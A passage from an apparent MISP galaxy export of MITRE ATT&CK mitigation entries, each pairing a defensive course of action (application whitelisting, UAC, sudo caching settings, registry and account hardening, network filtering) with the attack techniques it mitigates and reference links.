mitigates: misp-galaxy:mitre-attack-pattern="Redundant Access - T1108" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Component Firmware Mitigation - T1109
Prevent adversary access to privileged accounts or access necessary to perform this technique.
Consider removing and replacing system components suspected of being compromised.
The tag is: misp-galaxy:mitre-course-of-action="Component Firmware Mitigation - T1109"
Component Firmware Mitigation - T1109 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Component Firmware - T1109" with estimative-language:likelihood-probability="almost-certain"
Links |
System Firmware Mitigation - T1019
Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS or EFI to determine if it is vulnerable to modification. Patch the BIOS and EFI as necessary. Use Trusted Platform Module technology. (Citation: TCG Trusted Platform Module)
The tag is: misp-galaxy:mitre-course-of-action="System Firmware Mitigation - T1019"
System Firmware Mitigation - T1019 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="System Firmware - T1019" with estimative-language:likelihood-probability="almost-certain"
Links |
http://www.trustedcomputinggroup.org/wp-content/uploads/Trusted-Platform-Module-Summary_04292008.pdf |
Threat Intelligence Program - M1019
A threat intelligence program helps an organization generate their own threat intelligence information and track trends to inform defensive priorities to mitigate risk.
The tag is: misp-galaxy:mitre-course-of-action="Threat Intelligence Program - M1019"
Threat Intelligence Program - M1019 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Credential Access - T1212" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Defense Evasion - T1211" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
Links |
Data Encrypted Mitigation - T1022
Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to encrypt files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Data Encrypted Mitigation - T1022"
Data Encrypted Mitigation - T1022 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Shortcut Modification Mitigation - T1023
Limit permissions for who can create symbolic links in Windows to appropriate groups such as Administrators and necessary groups for virtualization. This can be done through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create symbolic links. (Citation: UCF STIG Symbolic Links)
Identify and block unknown, potentially malicious software that may be executed through shortcut modification by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Shortcut Modification Mitigation - T1023"
Shortcut Modification Mitigation - T1023 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
User Execution Mitigation - T1204
Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events. Application whitelisting may be able to prevent the running of executables masquerading as other files.
If a link is being visited by a user, block unknown or unused files in transit by default that should not be downloaded or by policy from suspicious sites as a best practice to prevent some vectors, such as .scr, .exe, .lnk, .pif, .cpl, etc. Some download scanning devices can open and analyze compressed and encrypted formats, such as zip and RAR that may be used to conceal malicious files in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).
If a link is being visited by a user, network intrusion prevention systems and systems designed to scan and remove malicious downloads can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct files in a way to avoid these systems.
The tag is: misp-galaxy:mitre-course-of-action="User Execution Mitigation - T1204"
User Execution Mitigation - T1204 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
Links |
Restrict Registry Permissions - M1024
Restrict the ability to modify certain hives or keys in the Windows Registry.
The tag is: misp-galaxy:mitre-course-of-action="Restrict Registry Permissions - M1024"
Restrict Registry Permissions - M1024 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="SIP and Trust Provider Hijacking - T1198" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Service Registry Permissions Weakness - T1058" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Time Providers - T1209" with estimative-language:likelihood-probability="almost-certain"
Links |
User Account Control - M1052
Configure Windows User Account Control to mitigate risk of adversaries obtaining elevated process access.
The tag is: misp-galaxy:mitre-course-of-action="User Account Control - M1052"
User Account Control - M1052 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Application Shimming - T1138" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1184" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="File System Permissions Weakness - T1044" with estimative-language:likelihood-probability="almost-certain"
Links |
Privileged Process Integrity - M1025
Protect processes with high privileges that can be used to interact with critical system components through use of protected process light, anti-process injection defenses, or other process integrity enforcement measures.
The tag is: misp-galaxy:mitre-course-of-action="Privileged Process Integrity - M1025"
Privileged Process Integrity - M1025 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Authentication Package - T1131" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Security Support Provider - T1101" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
Links |
Port Knocking Mitigation - T1205
Mitigation of some variants of this technique could be achieved through the use of stateful firewalls, depending upon how it is implemented.
The tag is: misp-galaxy:mitre-course-of-action="Port Knocking Mitigation - T1205"
Port Knocking Mitigation - T1205 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Port Knocking - T1205" with estimative-language:likelihood-probability="almost-certain"
Links |
Privileged Account Management - M1026
Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.
The tag is: misp-galaxy:mitre-course-of-action="Privileged Account Management - M1026"
Privileged Account Management - M1026 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Bootkit - T1067" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Firmware Corruption - T1495" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1084" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="System Firmware - T1019" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Sudo - T1169" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1184" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Signed Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Sudo Caching - T1206" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Component Object Model and Distributed COM - T1175" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1097" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1208" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Server Software Component - T1505" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Application Deployment Software - T1017" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1214" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1028" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Kernel Modules and Extensions - T1215" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Systemd Service - T1501" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Third-party Software - T1072" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Shared Webroot - T1051" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Implant Container Image - T1525" with estimative-language:likelihood-probability="almost-certain"
Links |
Multiband Communication Mitigation - T1026
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
The tag is: misp-galaxy:mitre-course-of-action="Multiband Communication Mitigation - T1026"
Multiband Communication Mitigation - T1026 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Multiband Communication - T1026" with estimative-language:likelihood-probability="almost-certain"
Links |
Sudo Caching Mitigation - T1206
Setting the <code>timestamp_timeout</code> to 0 will require the user to input their password every time <code>sudo</code> is executed. Similarly, ensuring that the <code>tty_tickets</code> setting is enabled will prevent this leakage across tty sessions.
The tag is: misp-galaxy:mitre-course-of-action="Sudo Caching Mitigation - T1206"
Sudo Caching Mitigation - T1206 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Sudo Caching - T1206" with estimative-language:likelihood-probability="almost-certain"
Links |
Operating System Configuration - M1028
Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.
The tag is: misp-galaxy:mitre-course-of-action="Operating System Configuration - M1028"
Operating System Configuration - M1028 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1015" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Setuid and Setgid - T1166" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Sudo Caching - T1206" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="HISTCONTROL - T1148" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Hidden Users - T1147" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Bash History - T1139" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Communication Through Removable Media - T1092" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Other Network Medium - T1011" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1130" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Password Filter DLL - T1174" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"
Links |
Remote Data Storage - M1029
Use remote security log and sensitive file storage where access can be controlled better to prevent exposure of intrusion detection log data or sensitive information.
The tag is: misp-galaxy:mitre-course-of-action="Remote Data Storage - M1029"
Remote Data Storage - M1029 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1492" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Third-party Software - T1072" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
Links |
Time Providers Mitigation - T1209
Identify and block potentially malicious software that may be executed as a time provider by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.
Consider using Group Policy to configure and block subsequent modifications to W32Time parameters. (Citation: Microsoft W32Time May 2017)
The tag is: misp-galaxy:mitre-course-of-action="Time Providers Mitigation - T1209"
Time Providers Mitigation - T1209 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Time Providers - T1209" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
Scheduled Transfer Mitigation - T1029
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
The tag is: misp-galaxy:mitre-course-of-action="Scheduled Transfer Mitigation - T1029"
Scheduled Transfer Mitigation - T1029 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
Links |
Limit Software Installation - M1033
Block users or groups from installing unapproved software.
The tag is: misp-galaxy:mitre-course-of-action="Limit Software Installation - M1033"
Limit Software Installation - M1033 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Systemd Service - T1501" with estimative-language:likelihood-probability="almost-certain"
Links |
Credential Access Protection - M1043
Use capabilities to prevent successful credential access by adversaries; including blocking forms of credential dumping.
The tag is: misp-galaxy:mitre-course-of-action="Credential Access Protection - M1043"
Credential Access Protection - M1043 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="LSASS Driver - T1177" with estimative-language:likelihood-probability="almost-certain"
Links |
Limit Hardware Installation - M1034
Block users or groups from installing or using unapproved hardware on systems, including USB devices.
The tag is: misp-galaxy:mitre-course-of-action="Limit Hardware Installation - M1034"
Limit Hardware Installation - M1034 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Hardware Additions - T1200" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
Links |
Path Interception Mitigation - T1034
Eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them (Citation: Microsoft CreateProcess). Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate (Citation: MSDN DLL Security). Clean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries.
Periodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations (Citation: Kanthak Sentinel).
Require that all executables be placed in write-protected directories. Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory <code>C:</code> and system directories, such as <code>C:\Windows\</code>, to reduce places where malicious files could be placed for execution.
Identify and block potentially malicious software that may be executed through the path interception by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies, (Citation: Corio 2008) that are capable of auditing and/or blocking unknown executables.
The tag is: misp-galaxy:mitre-course-of-action="Path Interception Mitigation - T1034"
Path Interception Mitigation - T1034 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Path Interception - T1034" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Service Execution Mitigation - T1035
Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level. Also ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level.
Identify unnecessary system utilities or potentially malicious software that may be used to interact with Windows services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Service Execution Mitigation - T1035"
Service Execution Mitigation - T1035 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Scheduled Task Mitigation - T1053
Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit)
Configure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SubmitControl</code>. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled. (Citation: TechNet Server Operator Scheduled Task)
Configure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority. (Citation: TechNet Scheduling Priority)
Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Scheduled Task Mitigation - T1053"
Scheduled Task Mitigation - T1053 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Account Use Policies - M1036
Configure features related to account use like login attempt lockouts, specific login times, etc.
The tag is: misp-galaxy:mitre-course-of-action="Account Use Policies - M1036"
Account Use Policies - M1036 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
Links |
Filter Network Traffic - M1037
Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.
The tag is: misp-galaxy:mitre-course-of-action="Filter Network Traffic - M1037"
Filter Network Traffic - M1037 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Endpoint Denial of Service - T1499" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Network Denial of Service - T1498" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1188" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Forced Authentication - T1187" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and Relay - T1171" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Port Knocking - T1205" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Remote Access Tools - T1219" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Cloud Instance Metadata API - T1522" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Transfer Data to Cloud Account - T1537" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Data from Cloud Storage Object - T1530" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
Links |
Logon Scripts Mitigation - T1037
Restrict write access to logon scripts to specific administrators. Prevent access to administrator accounts by mitigating Credential Access techniques and limiting account access and permissions of [Valid Accounts](https://attack.mitre.org/techniques/T1078).
Identify and block potentially malicious software that may be executed through logon script modification by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.
The tag is: misp-galaxy:mitre-course-of-action="Logon Scripts Mitigation - T1037"
Logon Scripts Mitigation - T1037 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Logon Scripts - T1037" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
Environment Variable Permissions - M1039
Prevent modification of environment variables by unauthorized users and groups.
The tag is: misp-galaxy:mitre-course-of-action="Environment Variable Permissions - M1039"
Environment Variable Permissions - M1039 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Clear Command History - T1146" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="HISTCONTROL - T1148" with estimative-language:likelihood-probability="almost-certain"
Links |
Process Hollowing Mitigation - T1093
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.
Although process hollowing may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Process Hollowing Mitigation - T1093"
Process Hollowing Mitigation - T1093 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1093" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Restrict Library Loading - M1044
Prevent abuse of library loading mechanisms in the operating system and software to load untrusted code by configuring appropriate library loading mechanisms and investigating potential vulnerable software.
The tag is: misp-galaxy:mitre-course-of-action="Restrict Library Loading - M1044"
Restrict Library Loading - M1044 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="LSASS Driver - T1177" with estimative-language:likelihood-probability="almost-certain"
Links |
Indicator Blocking Mitigation - T1054
Ensure event tracers/forwarders (Citation: Microsoft ETW May 2018), firewall policies, and other associated mechanisms are secured with appropriate permissions and access controls. Consider automatically relaunching forwarding mechanisms at recurring intervals (ex: temporal, on-logon, etc.) as well as applying appropriate change management to firewall rules and other related system configurations.
The tag is: misp-galaxy:mitre-course-of-action="Indicator Blocking Mitigation - T1054"
Indicator Blocking Mitigation - T1054 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1054" with estimative-language:likelihood-probability="almost-certain"
Links |
https://docs.microsoft.com/windows/desktop/etw/event-tracing-portal |
Software Packing Mitigation - T1045
Ensure updated virus definitions. Create custom signatures for observed malware. Employ heuristic-based malware detection.
Identify and prevent execution of potentially malicious software that may have been packed by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Software Packing Mitigation - T1045"
Software Packing Mitigation - T1045 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Data Staged Mitigation - T1074
Identify system utilities, remote access or third-party tools, users or potentially malicious software that may be used to store compressed or encrypted data in a publicly writeable directory, central location, or commonly used staging directories (e.g. recycle bin) that is indicative of non-standard behavior, and audit and/or block them by using file integrity monitoring tools where appropriate. Consider applying data size limits or blocking file writes of common compression and encryption utilities such as 7zip, RAR, ZIP, or zlib on frequently used staging directories or central locations and monitor attempted violations of those restrictions.
The tag is: misp-galaxy:mitre-course-of-action="Data Staged Mitigation - T1074"
Data Staged Mitigation - T1074 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
Links |
